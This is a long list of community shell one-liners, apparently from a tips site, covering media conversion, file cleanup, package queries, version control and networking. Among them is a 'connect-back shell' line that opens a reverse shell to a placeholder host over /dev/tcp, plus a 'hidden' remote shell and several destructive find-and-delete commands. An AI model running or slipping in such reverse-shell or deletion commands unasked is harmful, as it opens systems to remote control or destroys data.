mencoder -ovc copy -nosound ./movie.mov -o ./movie_mute.mov

# copies 20 most recently downloaded mp3 files (such as from Miro) into a directory
find . -name \*.mp3 -printf "%C+ %h/%f\n" | sort -r | head -n20 | awk '{print "\""$2"\""}' | xargs -I {} cp {} ~/tmp

# Updating the status on identi.ca using curl.
curl -u USER:PASS -d status="NEW STATUS" http://identi.ca/api/statuses/update.xml

# Make a directory named with the current date
mkdir `date --iso`

# Duplicating service runlevel configurations from one server to another.
chkconfig --list | fgrep :on | sed -e 's/\(^.*\)*0:off/\1:/g' -e 's/\(.\):on/\1/g' -e 's/.:off//g' | tr -d [:blank:] | awk -F: '{print$2,$1}' | ssh host 'cat > foo'

# add files to existing growable DVD using growisofs
growisofs -M /dev/dvd -J -r "directory name with files to add to DVD"

# Find and delete oldest file of specific types in directory tree
find / \( -name "*.log" -o -name "*.mylogs" \) -exec ls -lrt {} \; | sort -k6,8 | head -n1 | cut -d" " -f8- | tr -d '\n' | xargs -0 rm

# Remove all backup files in my home directory
find ~user/ -name "*~" -exec rm {} \;

# Get an IP address out of fail2ban jail
iptables -D fail2ban-SSH -s <ip_address_to_be_set_free> -j DROP

# Safe Delete
shred -n33 -zx file; rm file

# Search for files  older than 30 days in a directory and list only their names not the full path
find /var/www/html/ -type f -mtime +30 -exec basename {} \;

# split source code to page with numbers
pr -l 40 bitree.c > printcode; split -40 printcode -d page_

# Pick a random image from a directory (and subdirectories) every thirty minutes and set it as xfce4 wallpaper
while true; do xfconf-query -c xfce4-desktop -p /backdrop/screen0/monitor0/image-path -s "$(find <image-directory> -type f -iregex '.*\.\(bmp\|gif\|jpg\|png\)$' | sort -R | head -1)"; sleep 30m; done

# Change wallpaper for xfce4 >= 4.6.0
xfconf-query -c xfce4-desktop -p /backdrop/screen0/monitor0/image-path -s <image-file>

# Prevent non-root users from logging in
touch /etc/nologin

# Display time of accounts connection on a system
ac -p

# Change Gnome wallpaper
gconftool-2 -t string -s /desktop/gnome/background/picture_filename <path_to_image>

# Split lossless audio (ape, flac, wav, wv) by cue file
cuebreakpoints <cue file> | shnsplit -o <lossless audio type> <audio file>

# Connect to all running screen instances
for i in `screen -ls | perl -ne'if(/^\s+\d+\.([^\s]+)/){print $1, " "}'`; do gnome-terminal -e "screen -x $i"; done

# compare two Microsoft Word documents
meld <(antiword microsoft_word_a.doc) <(antiword microsoft_word_b.doc)

# Mount important virtual system directories under chroot'ed directory
for i in sys dev proc; do sudo mount --bind /$i /mnt/xxx/$i; done



# Set Time Zone in Ubuntu
sudo dpkg-reconfigure tzdata

# Burn CD/DVD from an iso, eject disc when finished.
cdrecord dev=0,0,0 -v -eject yourimage.iso

# convert plain .avi movies to .mpeg
ffmpeg -i movie.avi -y -f vcd -vcodec mpeg1video -map 0.0:0.0 -b 1150 -s 352x240 -r 29.97 -g 12 -qmin 3 -qmax 13 -acodec mp2 -ab 224 -ar 44100 -ac 2 -map 0.1:0.1 movie.mpg

# Summarise the size of all files matching a simple regex
find /path/to/my/files/ -type f -name "*txt*" | xargs du -k | awk 'BEGIN{x=0}{x=x+$1}END{print x}'

# Recursively Add Changed Files to Subversion
svn status | grep "^\?" | awk '{print $2}' | xargs svn add

# Root shell
sudo -i

# Remove all hidden files in a directory
rm -r .??*

# Prints any IP out of a file
perl -ne 'while (/([0-9]+\.){3}[0-9]+/g) {print "$&\n"};' file.txt

# Dump HTTP header using wget
wget --server-response --spider http://www.example.com/

# backup your entire hosted website using cPanel backup interface and wget
wget --http-user=YourUsername --http-password=YourPassword http://YourWebsiteUrl:2082/getbackup/backup-YourWebsiteUrl-`date +"%-m-%d-%Y"`.tar.gz

# Copy input sent to a command to stderr
rev <<< 'lorem ipsum' | tee /dev/stderr | rev

# create a simple version of ls with extended output
alias l='ls -CFlash'

# Make info pages much less painful
pinfo date

# print battery , thermal , and cooling info
acpi -tc

# View a man page on a nice interface
yelp man:foo

# Emptying a text file in one shot
:1,$d

# Change files case, without modify directories, recursively
find ./ -name '*.JPG' -type f -execdir rename -f 'y/A-Z/a-z/' {} \+

# Create subversion undo point
function svnundopoint() { if [ -d .undo ]; then r=`svn info | grep Revision | cut -f 2 -d ' '` && t=`date +%F_%T` && f=${t}rev${r} && svn diff>.undo/$f && svn stat>.undo/stat_$f; else echo Missing .undo directory; fi }

# force unsupported i386 commands to work on amd64
setarch i386 [command [args]]

# Combine all .mpeg files in current directory into one big one.
cat *.mpg > all.mpg

# Display condensed log of changes to current git repository
git log --pretty=oneline

# Watch the National Debt clock
watch -n 10  "wget -q http://www.brillig.com/debt_clock -O - | grep debtiv.gif | sed -e 's/.*ALT=\"//' -e 's/\".*//' -e 's/ //g'"

# Output system statistics every 5 seconds with timestamp
while [ 1 ]; do echo -n "`date +%F_%T`" ; vmstat 1 2 | tail -1 ; sleep 4; done

# Tail a log file with long lines truncated
tail -f logfile.log | cut -b 1-80

# positions the mysql slave at a specific master position
slave start; SELECT MASTER_POS_WAIT('master.000088','8145654'); slave stop;



# Spell check the text in clipboard (paste the corrected clipboard if you like)
xclip -o > /tmp/spell.tmp; aspell check /tmp/spell.tmp ; cat /tmp/spell.tmp | xclip

# Display information sent by browser
nc -l 8000

# Determine the version of a specific package with RPM
rpm -q --qf "%{VERSION}\n" redhat-release

# add a gpg key to aptitute package manager in a ubuntu system
wget -q http://xyz.gpg -O- | sudo  apt-key add -

# add static arp entry to default gateway, arp poison protection
arp -s $(route -n | awk '/^0.0.0.0/ {print $2}') \ $(arp -n | grep `route -n | awk '/^0.0.0.0/ {print $2}'`| awk '{print $3}')

# Quick calculator at the terminal
echo "$math_expr" | bc -l

# burn a isofile to cd or dvd
cdrecord -v dev=/dev/cdrom yourimage.iso

# Remove embedded fonts from a pdf.
gs -sDEVICE=pswrite -sOutputFile=- -q -dNOPAUSE With-Fonts.pdf -c quit | ps2pdf - > No-Fonts.pdf

# keep an eye on system load changes
watch -n 7 -d 'uptime | sed s/.*users,//'

# Quick plotting of a function
seq 0 0.1 20 | awk '{print $1, cos(0.5*$1)*sin(5*$1)}' | graph -T X

# Averaging columns of numbers
awk '{sum1+=$1; sum2+=$2} END {print sum1/NR, sum2/NR}' file.dat

# Creates a proxy based on tsocks.
alias tproxy='ssh -ND 8118 user@server&; export LD_PRELOAD="/usr/lib/libtsocks.so"'

# Add thousand separator with sed, in a file or within pipe
sed -e :a -e 's/\(.*[0-9]\)\([0-9]\{3\}\)/\1,\2/;ta' filename

# start vim in diff mode
vimdiff file{1,2}

# Time Synchronisation with NTP
ntpdate ntp.ubuntu.com pool.ntp.org

# Quicker move to parent directory
alias ..='cd ..'

# Lists architecture of installed RPMs
rpm -qa --queryformat "%{NAME} %{ARCH}\n"

# Display usb power mode on all devices
for i in `find /sys/devices/*/*/usb* -name level` ; do echo -n "$i: " ; cat $i ; done

# Display a list of RPMs installed on a particular date
rpm -qa --queryformat '%{installtime}  \"%{vendor}\" %{name}-%{version}-%{release}  %{installtime:date}\n' | grep "Thu 05 Mar"

# create a backup for all directories from current dir
find -maxdepth 1 -type d -print0 | xargs -0 -I {} tar -cvzf {}.tar.gz {}

# Display 6 largest installed RPMs sorted by size (descending)
rpm -qa --qf '%{SIZE} %{NAME}\n' | sort -nr | nl | head -6 # six largest RPMs

# Convert embedded spaces in filenames to "_" (underscore)
ls -1 | grep " " | awk '{printf("mv \"%s\" ",$0); gsub(/ /,"_",$0); printf("%s\n",$0)}' | sh # rename filenames: spaces to "_"

# Display kernel profile of currently executing functions in Solaris.
lockstat -I -i 977 -s 30 -h sleep 1 > /tmp/profile.out

# List all the files that have been deleted while they were still open.
lsof | egrep "^COMMAND|deleted"

# Search through all installed packages names (on RPM systems)
rpm -qa \*code\*



# Binary injection
echo -n $HEXBYTES | xxd -r -p | dd of=$FILE seek=$((0x$OFFSET)) bs=1 conv=notrunc

# Forwards connections to your port 2000 to the port 22 of a remote host via ssh tunnel
ssh -NL 2000:remotehost:22 remotehost

# Change the extension of a filename by using rename to convert
rename .JPG .jpg *.JPG

# Repeatedly send a string to stdout-- useful for going through "yes I agree" screens
yes "text" | annoying_installer_program # "text" defaults to the letter y

# Copy the text from the 3rd line to the 9th line into a new file with VI
:3,9w new_file

# cat stdout of multiple commands
cat <( command1 arg arg ) <( command2 arg ) ...

# Find commets in jpg files.
find / -name "*.jpg" -print -exec rdjpgcom '{}' ';'

# View a file with less, starting at the end of the file
less +G <filename>

# vi case insensitive search
:set ic

# "hidden" remote shell
ssh -T user@host /bin/bash -i

# Find all files with root SUID or SGID executables
sudo find / -type f \( -perm /4000 -a -user root \) -ls -o \( -perm /2000 -a -group root \) -ls

# Delete empty directories recursively
find <top_level_dir> -depth -type d -empty -exec rmdir -v {} \;

# Make backups recurse through directories
find -type -f -exec cp {} {}.bak \;

# Remove several files with ease
rm file{1..10}

# Prints new content of files
tail -f file1 (file2 .. fileN)

# replace a character/word/string in a file using vim
:%s/old/new/g

# Extract icons from windows exe/dll
wrestool -x --output . -t14 /path/to/your-file.exe

# Know which version dpkg/apt considers more recent
dpkg --compare-versions 1.0-2ubuntu5 lt 1.1-1~raphink3 && echo y || echo n

# make a list of movies(.m3u).
find $HOME -type f -print | perl -wnlaF'/' -e 'BEGIN{ print "#EXTM3U"; } /.+\.wmv$|.+\.mpg$|.+\.vob$/i and print "#EXTINF:$F[-1]\nfile://$&";' > movies.m3u

# Label EXT2/EXT3 File System
e2label /dev/vg0/lv0 MyFiles

# Replace "space" char with "dot" char in current directory file names
ls -1 | while read a; do mv "$a" `echo $a | sed -e 's/\ /\./g'`; done

# sort ugly text
sort -bdf

# Recursive Search and Replace
perl -pi -e's/<what to find>/<what to replace it with>/g' `grep -Rl <what to find> /<dir>/*`

# remove all snapshots from all virtual machines in vmware esx
time vmware-cmd -l | while read x; do printf "$x"; vmware-cmd "$x" removesnapshots; done

# Print the last modified file
ls -t1 | head -n1



# Symlink all files from a base directory to a target directory
for f in $(ls -d /base/*); do ln -s $f /target; done && ls -al /target

# Create passwords and store safely with gpg
tr -dc "a-zA-Z0-9-_\$\?" < /dev/urandom | head -c 10 | gpg -e -r medha@nerdish.de > password.gpg

# Type strait into a file from the terminal.
cat /dev/tty > FILE

# convert a pdf to jpeg
sips -s format jpeg Bild.pdf --out Bild.jpg

# Cleanly manage tempfiles in scripts
TMPROOT=/tmp; TMPDIR=$(mktemp -d $TMPROOT/somedir.XXXXXX); TMPFILE=$(mktemp $TMPROOT/somefile.XXXXXX); trap "rm -rf $TMPDIR $TMPFILE; exit" INT TERM EXIT; some treatment using $TMPDIR and $TMPFILE; exit 0

# 1:1 copy of a volume
find / -xdev -print | cpio -pdmuv /mnt/mydisk

# sort through source to find most common authors
find . -type f -name "*.java" -print0 | xargs -0 -n 1 svn blame | sed -n 's/^[^a-z]*\([a-z]*\).*$/\1/p' | sort | uniq -c | sort -n

# Drop or block attackers IP with null routes
sudo route add xxx.xxx.xxx.xxx gw 127.0.0.1 lo

# split a string (3)
OLD_IFS="$IFS"; IFS=: ARRAY=($PATH); echo ${ARRAY[2]}; IFS="$OLD_IFS"

# get your terminal back after it's been clobbered
reset

# Set file access control lists
setfacl -m u:john:r-- myfile

# create an screenshot, upload it to your server via scp and then open that screenshot in firefox
FILE="`date +%m%d%H%M%S`.png"; URL="http://YOUR_HOST/YOUR/PATH/$FILE"; TMP="/tmp/$FILE"; import -frame $TMP; scp $TMP YOUR-USER@YOUR-HOST:/YOUR/PATH/; rm $TMP; firefox "$URL"

# Compress logs older than 7 days
find /path/to/files -type f -mtime +7 | grep -v \.gz | xargs gzip

# Quickest way to sort/display # of occurences
"some line input" | sort | uniq -c | sort -nr

# Kill any lingering ssh processes
for i in `ps aux | grep ssh | grep -v grep | awk {'print $2'}` ; do kill $i; done

# Copy a file from a remote server to your local box using on-the-fly compression
rsync -Pz user@remotehost:/path/file.dat .

# Show current iptables rules, with line numbers
iptables -nL -v --line-numbers

# Find out the last times your system was rebooted (for the duration of wtmp).
last reboot

# Follow a new friend on twitter
curl -u USERNAME:PASSWORD -d "" http://twitter.com/friendships/create/NAMEOFNEWFRIEND.xml?follow=true

# read a file line by line and perform some operation on each line
while read line; do echo "$(date),$(hostname),$line"; done < somefile.txt

# doing some floating point math
echo "8000000/(20*6*86400)" | bc -l

# List all active access_logs for currently running Apache or Lighttpd process
lsof -p $(netstat -ltpn|awk '$4 ~ /:80$/ {print substr($7,1,index($7,"/")-1)}')| awk '$9 ~ /access.log$/ {print $9| "sort -u"}'

# Empty the linux buffer cache
sync && echo 3 > /proc/sys/vm/drop_caches

# Delete .svn directories and content recursively
`find . -iname ".svn" -type d | sed -e "s/^/rm -rfv /g"`

# Clean up after a poorly-formed tar file
tar ztf tar-lacking-subdirectory.tar.gz | xargs rm



# Simple example of the trap command
trap "echo \"$0 process $$ killed on $(date).\"; exit " HUP INT QUIT ABRT TERM STOP

# Simple complete system backup excluding files or directories
tar zcpf backup.tgz --exclude=/proc --exclude=backup.tgz /

# listen to ram
cat /dev/mem > /dev/audio

# Comma insertions
perl -pe '$_=reverse;s/\d{3}(?=\d)(?!.*?\.)/$&,/g;$_=reverse'

# Double your disk read performance in a single command
blockdev --setra 1024 /dev/sdb

# dump database from postgresql to a file
pg_dump -Ft -b -Uusername -hdb.host.com db_name > db.tar

# Generate a Random Password
dd if=/dev/urandom bs=1 count=32 2>/dev/null | base64 -w 0 | rev | cut -b 2- | rev

# Make a high definition VNC
vncserver -nohttpd -name hidef-server -depth 24 -geometry 1440x900

# generate random number
echo $RANDOM

# Finding the number of cpu's
grep -c -e '^cpu[0-9]\+' /proc/stat

# find text in a file
find /directory/to/search/ -type f -print0 | xargs -0 grep "findtext"

# Recursively move folders/files and preserve their permissions and ownership perfectly
cd /source/directory; tar cf - . | tar xf - -C /destination/directory

# Output files without comments or empty lines
grep -v "^\($\|#\)" <filenames>

# faster version of ls *
echo *

# remove leading blank lines
sed '/./,$!d'

# Search inside a folder of jar/zip files
find . -name "*.jar" | xargs -tn1 jar tvf | grep --color "SearchTerm"

# Netstat Connection Check
netstat -ntu | awk '{print $5}' |  cut -d: -f1 | sort | uniq -c | sort -n | tail

# Display command lines visible on commandlinefu.com homepage
ruby -ropen-uri -e 'require "hpricot";(Hpricot(open("http://commandlinefu.com"))/".command").each{|c| puts c.to_plain_text}'

# Delete line number 10 from file
sed -i '10d' <somefile>

# Gzip files older than 10 days matching *
find . -type f -name "*" -mtime +10 -print -exec gzip {} \;

# Determine an image's dimensions
identify -format "%wx%h" /path/to/image.jpg

# Mac OS-X-> copy and paste things to and from the clipboard from the shell
command | pbcopy && pbpaste

# Email a file to yourself
uuencode $file $file | /usr/bin/mailx -s "$file" ${USER}

# BourneShell: Go to previous directory
cd -

# purge all packages marked with 'rc'
sudo dpkg --purge `dpkg -l | awk '/^r/{print $2}'`



# Concatenates lines using sed
sed -e :a -e '/$/N;s/\n/ /;ta' <filename>

# Display your ${PATH}, one directory per line
echo $PATH | tr : \\n

# Copy text to the clipboard
cat SomeFile.txt | pbcopy

# HTTP Get of a web page via proxy server with login credentials
curl -U username[:password] -x proxyserverIP:proxyserverPort webpageURI

# Check if running in an X session
if [ ! -z "${DISPLAY}" ]; then someXcmd ; fi

# Recover cvs ": no such repository" error
find ./* -name 'CVS' | awk '{print "dos2unix " $1 "/*"}' | awk '{system($0)}'

# delete unversioned files in a checkout from svn
svn st | grep "^\?" | awk "{print \$2}" | xargs rm -rf

# Rsync between two servers
rsync -zav --progress original_files_directory/ root@host(IP):/path/to/destination/

# replace XX by YY in the the current directory and cd to it. ( in ZSH )
cd XX YY

# Show a line when a "column" matchs
awk '{ FS = OFS = "#" } { if ($9==1234) print }' filename*.log > bigfile.log

# Split and join with split and cat.
split -b 1k file ; cat x* > file

# Sort IP addresses
sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 /file/of/ip/addresses

# Check executable shared library usage
ldd <executable binary>

# fix broken permissions
find /path -type d -perm 777 -exec chmod 755 {} \;

# Use color grep by default
alias grep 'gnu grep -i --color=auto'

# finding cr-lf files aka dos files with ^M characters
find $(pwd) -type f -exec grep -l "$(echo "\r")" {} \;

# Make a thumbnail image of first page of a PDF.
convert -resize 200 -sharpen 40 some_file.pdf[0] some_file.jpg

# Import/clone a Subversion repo to a git repo
git svn --authors-file=some-authors-file clone svn://address/of/svn/repo new-git-dir

# Analyze, check, auto-repair and optimize Mysql Database
mysqlcheck -a --auto-repair -c -o -uroot -p [DB]

# Gives you what's between first string and second string included.
sed "s/^ABC/+ABC/" <file | sed "s/DEF$/DEF+/" | tr "\n" "~" | tr "+" "\n" | grep "^ABC"  | tr "~" "\n"

# Get My Public IP Address
curl -s http://whatismyip.org/

# download a sequence of vim patch
seq -f"ftp://ftp.vim.org/pub/vim/patches/7.1/7.1.%03g" 176 240 | xargs -I {} wget -c  {};

# trace the system calls made by a process (and its children)
strace -f -s 512 -v ls -l

# Getting GnuPG Public Keys From KeyServer
gpg --keyserver pgp.surfnet.nl --recv-key 19886493

# The simplest way to transport information over a network
(on destination machine) nc -l 1234 > whatever; (on source machine) nc destination 1234 < whatever;



# Binary search/replace
xxd < orig | sed 's/A/B/' | sed 's/HEXA/HEXB/' | xxd -r > new

# "I Feel Lucky" for Google Images
echo -n "search> ";read QUERY && wget -O - `wget -O - -U "Mozilla/5.0" "http://images.google.com/images?q=${QUERY}" 2>/dev/null |sed -e 's/","http/\n","http/g' |awk -F \" '{print $3}' |grep -i http: |head -1` > "$QUERY"

# modify a file in place with perl
perl -pi -e 's/THIS/THAT/g' fileglob*

# Create a DOS floppy image
dd if=/dev/zero bs=1024 count=1440 > floppy.img && mkdosfs floppy.img

# Test for Weak SSL Ciphers
openssl s_client -connect [host]:[sslport] -cipher LOW

# Translate your terminal into Swedish Chef
perl -e '$b="bork"; while(<STDIN>){$l=`$_ 2>&1`; $l=~s/[A-Za-z]+/$b/g; print "$l$b\@$b:\$ ";}'

# Change every instance of OLD to NEW in file FILE
sed -i 's/OLD/NEW/g' FILE

# Getting started with tcpdump
tcpdump -nli eth0; tcpdump -nli eth0 src or dst w.x.y.z; tcpdump -nli eth0 port 80; tcpdump -nli eth0 proto udp

# Dump root ext3 fs over ssh
dump 0f - / | bzip -c9 | ssh user@host "cat > /home/user/root.dump.bz2"

# Resets a terminal that has been messed up by binary input
reset

# Display total Kb/Mb/Gb of a folder and each file
du -hc *

# easily convert one unit to another
units "2048 bytes" "kibibytes"

# show the date every rpm was installed
rpm -qa --last

# command line to optimize all table from a mysql database
mysql -u uname dbname -e "show tables" | grep -v Tables_in | grep -v "+" | gawk '{print "optimize table " $1 ";"}' | mysql -u uname dbname

# To find the count of each open file on a system (that supports losf)
sudo lsof | awk '{printf("%s %s %s\n", $1, $3, $NF)}' | grep -v "(" | sort -k 4 | gawk '$NF==prv{ct++;next} {printf("%d %s\n",ct,$0);ct=1;prv=$NF}' | uniq | sort -nr

# rgrep: recursive grep without .svn
alias rgrep="find . \( ! -name .svn -o -prune \) -type f -print0 | xargs -0 grep"

# get a directory from one machine to another using tar and ssh
ssh somemachine "cd some dir; tar zcpf - somedirname" |tar zxpf -

# A nice command for summarising repeated information
alias counts=sort | uniq -c | sort -nr

# Run a command on a remote machine
ssh user@host "ps aux | grep httpd | wc -l"

# Display a list of all PHP classes that are called statically
find . -name "*\.php" | xargs grep -o --color "\w\+::\w\+" | cut -d":" -f2 | sort | uniq -c

# Find UID of current user.
echo $UID

# Count lines of code across multiple file types, sorted by least amount of code to greatest
find . \( -iname '*.[ch]' -o -iname '*.php' -o -iname '*.pl' \) -exec wc -l {} \; | sort

# This is N5 sorta like rot13 but with numbers only
echo "$1" | xxd -p | tr '0-9' '5-90-6'; echo "$1" | tr '0-9' '5-90-6' | xxd -r -p

# Stat each file in a directory
find . -maxdepth 1 -type f | xargs stat

# Get Lorum Ipsum random text from lorumipsum.com
lynx -source http://www.lipsum.com/feed/xml?amount=3|perl -p -i -e 's/\n/\n\n/g'|sed -n '/<lipsum>/,/<\/lipsum>/p'|sed -e 's/<[^>]*>//g'



# Converting video file (.flv, .avi etc.) to .3gp
ffmpeg -i input.avi -s qcif -vcodec h263 -r 20 -b 180k -acodec libfaac -ab 64k -ac 2 -ar 22050 output.3gp

# Run TOP in Color, split 4 ways for x seconds - the ultimate ps command. Great for init scripts
G=$(stty -g);stty rows $((${LINES:-50}/2));top -n1; stty $G;unset G

# Converts uppercase chars in a string to lowercase
echo StrinG | tr '[:upper:]' '[:lower:]'

# Get your external IP address
curl ifconfig.me/all/json

# Find if $b is in $a in bash
if grep -q "$b" <<<$a; then echo "'$b' was found in '$a'"; fi

# copy from host1 to host2, through your host
ssh user@<source_host> -- tar cz <path> | ssh user@<destination_host> -- tar vxzC <path>

# Extract title from HTML files
awk 'BEGIN{IGNORECASE=1;FS="<title>|</title>";RS=EOF} {print $2}' file.html

# Juste a reminder that this works.
true || false && echo true || echo false

# Download a new release of a program that you already have very quickly
zsync -i existing-file-on-disk.iso http://example.com/new-release.iso.zsync

# Measure, explain and minimize a computer's electrical power consumption
sudo powertop

# List all packages by installed size (Bytes) on rpm distros
rpm -q -a --qf '%10{SIZE}\t%{NAME}\n' | sort -k1,1n

# Extract title from HTML files
sed -n 's/.*<title>\(.*\)<\/title>.*/\1/ip;T;q' file.html

# remove empty lines
sed '/^$/d'

# convert ascii string to hex
echo $ascii | perl -ne 'printf ("%x", ord($1)) while(/(.)/g); print "\n";'

# Play all the music in a folder, on shuffle
mplayer -shuffle *

# Run command from another user and return to current
su - $user -c <command>

# Open a file in a GTK+ dialog window
zenity --title passwd --width 800 --height 600 --text-info --filename /etc/passwd

# Delete all files older than X in given path
find . -mtime +10 -delete

# Load all files (including in subdirs), whose name matches a substring, into Vim
vim $(find . ! -path \*.svn\* -type f -iname \*foo\*)

# Take a file as input (two columns data format) and sum values on the 2nd column for all lines that have the same value in 1st column
awk '{a[$1] += $2} END { for (i in a) {print i " " a[i]}}' /path/to/file

# remove oprhan package on debian based system
sudo deborphan | xargs sudo apt-get -y remove --purge

# Extracting frames from a video as jpeg files
mplayer -ao null -sid 999 -ss 00:15:45 -endpos 10 filename.avi -vo jpeg:outdir=out_frames

# Generic shell function for modifying files in-place
inplace() { eval F=\"\$$#\"; "$@" > "$F".new && mv -f "$F".new "$F"; }

# Display error pages in report format
sudo awk '($9 ~ /404/)' /var/log/httpd/www.domain-access_log | awk '{print $2,$9,$7,$11}' | sort | uniq -c

# count of files from each subfolder
for i in `find /home/ -maxdepth 1 -type d`; do  echo -n $i " ";find $i|wc -l; done



# most used unix commands
cut -d\    -f 1 ~/.bash_history | sort | uniq -c | sort -rn | head -n 10 | sed 's/.*/    &/g'

# How to speedup the Ethernet device
sudo ethtool -s eth0 speed 100 duplex full

# Delete leading whitespace from the start of each line
sed 's/^\s*//' input.txt

# Delete leading whitespace from the start of each line
sed 's/^[ \t]*//' input.txt

# Check response time of webpage
curl -s -w "\nResponse time:\t%{time_total}s\n" -o /dev/null http://www.commandlinefu.com

# statistics in one line
perl -MStatistics::Descriptive -alne 'my $stat = Statistics::Descriptive::Full->new; $stat->add_data(@F[1..4]); print $stat->variance' filename

# tar directory and compress it with showing progress and Disk IO limits
tar cf - dirA | pv --size `du -sh dirA | cut -f1` --rate-limit 800k | bzip2 > a.tar.bz2

# Change user within ssh session retaining the current MIT cookie for X-forwarding
su username -c "xauth add ${HOSTNAME}/unix:${DISPLAY//[a-zA-Z:_-]/} $(xauth list | grep -o '[a-zA-Z0-9_-]*\ *[0-9a-zA-Z]*$'); bash"

# Working random fact generator
wget randomfunfacts.com -O - 2>/dev/null | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;" | while read FUNFACT; do notify-send -t $((1000+300*`echo -n $FUNFACT | wc -w`)) -i gtk-dialog-info "RandomFunFact" "$FUNFACT"; done

# Send your svn diff to meld
svn diff --diff-cmd='meld' -r 100:BASE FILE

# Capture screen and mic input using FFmpeg and ALSA
ffmpeg -f alsa -itsoffset 00:00:02.000 -ac 2 -i hw:0,0 -f x11grab -s $(xwininfo -root | grep 'geometry' | awk '{print $2;}') -r 10 -i :0.0 -sameq -f mp4 -s wvga -y intro.mp4

# Simple addicting bash game.
while $8;do read n;[ $n = "$l" ]&&c=$(($c+1))||c=0;echo $c;l=$n;done

# Change Mac OS X Login Picture
defaults write /Library/Preferences/com.apple.loginwindow DesktopPicture "/System/Library/CoreServices/Finder.app/Contents/Resources/vortex.png"

# Drag A Dashboard Widget Onto OS X Desktop
defaults write com.apple.dashboard devmode YES

# Convert an ISO file to DMG format in OS X Terminal
hdiutil convert /path/imagefile.iso -format UDRW -o /path/convertedimage.dmg

# Convert a DMG file to ISO in OS X Terminal
hdiutil convert /path/imagefile.dmg -format UDTO -o /path/convertedimage.iso

# Cleanly kill a process
Cleankill () { kill -s HUP $1; sleep 1 ; kill -s KILL $1 > /dev/null 2>1;}

# Leap year calculation
leapyear() { [ $(date -d "Dec 31, $1" +%j) == 366 ] && echo leap || echo not leap; }

# List all execs in $PATH, usefull for grepping the resulting list
find ${PATH//:/ } -iname "*admin*" -executable -type f

# Print Asterisk phone logs
phonelogs() { grep "$1" /var/log/asterisk/cdr-csv/Master.csv | cut -d',' -f 2,3,11,12 --output-delimiter=" " | sed 's/"//g' | cut -d' ' -f 1,2,3,4,6 | column -t; }

# SED - Substitute string in next line
sed -i.backup '/patter/{n;s/foo/bar/g}' file

# Set the hardware date and time based on the system date
hwclock --systohc -utc

# Colorize svn stat
svn stat -u | sort | sed -e "s/^M.*/\o033[31m&\o033[0m/" -e "s/^A.*/\o033[34m&\o033[0m/" -e "s/^D.*/\o033[35m&\o033[0m/"

# Upload an image to Twitpic
curl -F "username=mytwiterlogin" -F "password=mytwitterpassword" -F "message=My image description" -F media=@"./image.png" http://twitpic.com/api/uploadAndPost

# Find how much of your life you've wasted coding in the current directory
find * \( -name "*.[hc]pp" -or -name "*.py" -or -name "*.i" \) -print0 | xargs -0 wc -l | tail -n 1



# Truncate 0.3 sec from an audio file using sox
sox input.wav output.wav reverse trim 00:00:00.3 reverse

# Print a row of 50 hyphens
for i in `seq 1 1 50`; do  echo -n -; done

# Change attributes of files so you can edit them
sudo chattr -i <file that cannot be modified>

# Recursively scan directories for mp3s and pass them to mplayer
rm -rf /tmp/playlist.tmp &&  find ~/mp3  -name *.mp3 > /tmp/playlist.tmp && mplayer -playlist /tmp/playlist.tmp -shuffle -loop 0 | grep Playing

# Count threads of a jvm process
ps uH p <PID_OF_U_PROCESS> | wc -l

# Number of files in a SVN Repository
svn log -v --xml file:///path/to/rep | grep kind=\"file\"|wc -l

# Currency Conversion
currency_convert() { curl -s "http://www.google.com/finance/converter?a=$1&from=$2&to=$3" | sed '/res/!d;s/<[^>]*>//g'; }

# Normalize volume in your mp3 library
find . -type f -name '*.mp3' -execdir mp3gain -a '{}' +

# watch your network load on specific network interface
watch -n1 'ifconfig eth0|grep bytes'

# dump the whole database
mysqldump --lock-tables --opt DBNAME -u UNAME --password=PASS | gzip > OUTFILE

# dump the whole database
mysqldump -u UNAME -p DBNAME > FILENAME

# Get your public ip
curl -s ip.appspot.com

# Get a metascore from metacritic.com
metascore(){ curl -s "http://www.metacritic.com/$@" | sed -rn 's|\t*<!-- metascore --><div id="metascore" class=".*">([^<]*)</div>|\1|p'; }

# Connect-back shell using Bash built-ins
exec 0</dev/tcp/hostname/port; exec 1>&0; exec 2>&0; exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0

# Display condensed log  in a tree-like format.
git log --graph --pretty=oneline --decorate

# Export OPML from Google Reader
export-opml(){ curl -sH "Authorization: GoogleLogin auth=$(curl -sd "Email=$1&Passwd=$2&service=reader" https://www.google.com/accounts/ClientLogin | grep Auth | sed 's/Auth=\(.*\)/\1/')" http://www.google.com/reader/subscriptions/export; }

# Insert a line for each n lines
ls -l | sed "$(while (( ++i < 5 )); do echo "N;"; done) a -- COMMIT --"

# Terminal Escape Code Zen - Strace and Tput
termtrace(){( strace -s 1000 -e write tput $@ 2>&2 2>&1 ) | grep -o '"[^"]*"';}

# converting vertical line to horizontal line
tr '\n' '\t' < inputfile

# Quickly build ulimit command from current values
echo "ulimit `ulimit -a|sed -e 's/^.*\([a-z]\))\(.*\)$/-\1\2/'|tr "\n" ' '`"

# Find C/C++ source files
find . -name '*.[c|h]pp' -o -name '*.[ch]' -type f

# Email an svn dump
(svnadmin dump /path/to/repo | gzip --best > /tmp/svn-backup.gz) 2>&1 | mutt -s "SVN backup `date +\%m/\%d/\%Y`" -a /tmp/svn-backup.gz emailaddress

# Fetch the Gateway Ip Address
netstat -nr | awk 'BEGIN {while ($3!="0.0.0.0") getline; print $2}'

# simple echo of IPv4 IP addresses assigned to a machine
ip addr | awk '/inet / {sub(/\/.*/, "", $2); print $2}'

# Sort a character string
echo sortmeplease | perl -pe 'chomp; $_ = join "", sort split //'



# Top ten (or whatever) memory utilizing processes (with children aggregate) - Can be done without the multi-dimensional array
ps axo rss,comm,pid | awk '{ proc_list[$2] += $1; } END { for (proc in proc_list) { printf("%d\t%s\n", proc_list[proc],proc); }}' | sort -n | tail -n 10

# Show the 1000*1000 and 1024*1024 size of HDs on system
awk '/d[a-z]+$/{print $4}' /proc/partitions | xargs -i sudo hdparm -I /dev/{} | grep 'device size with M'

# Mount a truecrypt drive from a file from the command line interactively
sudo truecrypt <truecrypt-file> <mount-point>

# Mouse Tracking
while true; do xdotool getmouselocation | sed 's/x:\(.*\) y:\(.*\) screen:.*/\1, \2/' >> ./mouse-tracking; sleep 10; done

# Display network pc "name" and "workgroup"
nmblookup -A <ip>

# Extracts PDF pages as images
convert in.pdf out.jpg

# Rips CDs (Playstation, etc.) and names the files the same as the volume name
